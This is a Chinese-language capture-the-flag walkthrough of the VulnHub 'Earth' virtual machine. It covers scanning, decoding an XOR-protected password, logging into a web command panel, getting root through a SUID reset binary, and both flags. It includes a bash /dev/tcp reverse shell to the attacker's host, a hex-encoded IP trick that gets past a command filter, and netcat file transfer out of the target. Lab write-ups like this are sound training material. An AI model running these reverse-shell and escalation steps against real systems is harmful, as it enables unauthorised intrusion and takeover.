一、 部署方法
- 在官网上下载靶机ova环境:https://download.vulnhub.com/theplanets/Earth.ova
- 使用VMware搭建靶机环境
- 攻击机使用VMware上搭建的kali
- 靶机和攻击机之间使用NAT模式,保证靶机和攻击机放置于同一网段中。
二、 靶机下载安装
靶机下载与安装参考之前文章:搭建Vulnhub靶机详细步骤
三、渗透测试
根据漏洞描述提前得知,此靶机存在2个flag,下面让我们开始吧!
第一个flag
让我们先来信息收集一波吧!
arp-scan -l
扫描网段
根据扫描的结果发现靶机的IP地址为192.168.15.129,攻击机kali的IP地址为192.168.15.131
得到靶机IP地址后我们使用nmap对靶机进行深度扫描
nmap -A -T4 -p- 192.168.15.129
这里发现靶机开放了SSH 22端口、HTTP 80端口以及HTTPS 443端口,且443端口需要设置DNS解析。
设置DNS解析
vi /etc/hosts
在配置文件中写入:
192.168.15.129 earth.local
192.168.15.129 terratest.earth.local
:wq
保存退出后,我们浏览器去访问下
没有发现有用的东西,分别对这两个域名扫描下目录试试
dirsearch https://terratest.earth.local
dirsearch https://earth.local
发现两个可以访问的路径,去浏览器访问下https://terratest.earth.local/robots.txt 和 https://earth.local/admin
https://earth.local/admin是个登录入口,使用弱口令没有爆破出来。
查看robots.txt文件发现最后的 /testingnotes.* 比较特殊,猜想应该是需要加上上面的后缀去访问,经过尝试https://terratest.earth.local/testingnotes.txt可以成功访问
文本中提示我们加密算法为XOR,testdata.txt文件是用来加密的,用户为terra。并且提到了需要去改进messaging页面和admin页面。
根据提示我们先去访问下https://terratest.earth.local/testdata.txt
同时我们根据提示想到了messaging页面有三个加密字符串。所以尝试将三个加密字符串分别与testdata.txt进行XOR运算,观察结果看看能获取什么有用的信息。
import binascii
entry_str = '2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a'
pass_txt = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."
#将pass_txt转换成16进制
pass_txt_16 = binascii.b2a_hex(pass_txt.encode(encoding="utf-8")).decode('utf-8').replace("b'",'')
#进行xor运算
result = hex(int(entry_str,16)^int(pass_txt_16,16)).replace('0x','')
#将运算结果转换成字符串
datatext = binascii.unhexlify(result).decode('utf-8')
print(datatext)
查看输出结果为:
earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat
可以看出,是earthclimatechangebad4humans的重复,猜测这应该是密码
使用用户terra和密码earthclimatechangebad4humans去尝试登录https://earth.local/admin/login
登录成功,看到命令执行的窗口,尝试去执行查找flag文件
find / -name "*flag*"
发现var/earth_web/user_flag.txt可疑文件,查看一下文件内容
cat var/earth_web/user_flag.txt
得到第一个flag:[user_flag_3353b67d6437f07ba7d34afd7d2fc27d]
第二个flag
根据镜像描述,第二个flag应该需要得到root用户
这里需要得到shell去方便操作,我们可以使用反弹shell
在kali开启监听:
nc -lvnp 6666
然后我们在页面输入框输入反弹shell的命令
bash -i >&/dev/tcp/192.168.15.131/6666 0>1&
结果发现命令执行报错,然后我们将ip地址转化为16进驻,再次执行
bash -i >&/dev/tcp/0xc0.0xa8.0xf.0x83/6666 0>&1
成功拿到shell,我们执行查看有无可以运行sudo的文件或一些高权限文件
sudo -l
find / -perm -u=s -type f 2>/dev/null
除了一些常规文件为,发现有一个reset_root很可疑,输入/usr/bin/resrt_roo
t执行失败
这里可以看出他是可以执行的,因此想要将它下载到本地分析执行失败的原因。这里使用nc命令下载
- 先在kali上输入nc -lnvp 1234 >reset_root,开启监听
- 在靶机shell上输入nc 192.168.15.129 1234 < /usr/bin/reset_root
- 可以看到kali接收到数据并保存为reset_root
接下来使用strace工具检测reset_root文件的运行过程
chmod +x reset_root
strace ./reset_root
发现文件执行失败是因为少了这三个文件或目录。
因此在靶机shell上创建这三个文件
touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe
创建后执行reset_root
/usr/bin/reset_root
发现该文件将root的密码改成了Earth,我们使用密码登录下root
su root
发现第二个flag:[root_flag_b0da9554d29db2117b02aa8b66ec492e]
四、总结
经过此靶机,了解了更多的测试思路,主要学到了以下知识点:
- XOR(异或)运算
- strace诊断调试工具
- nc传输文件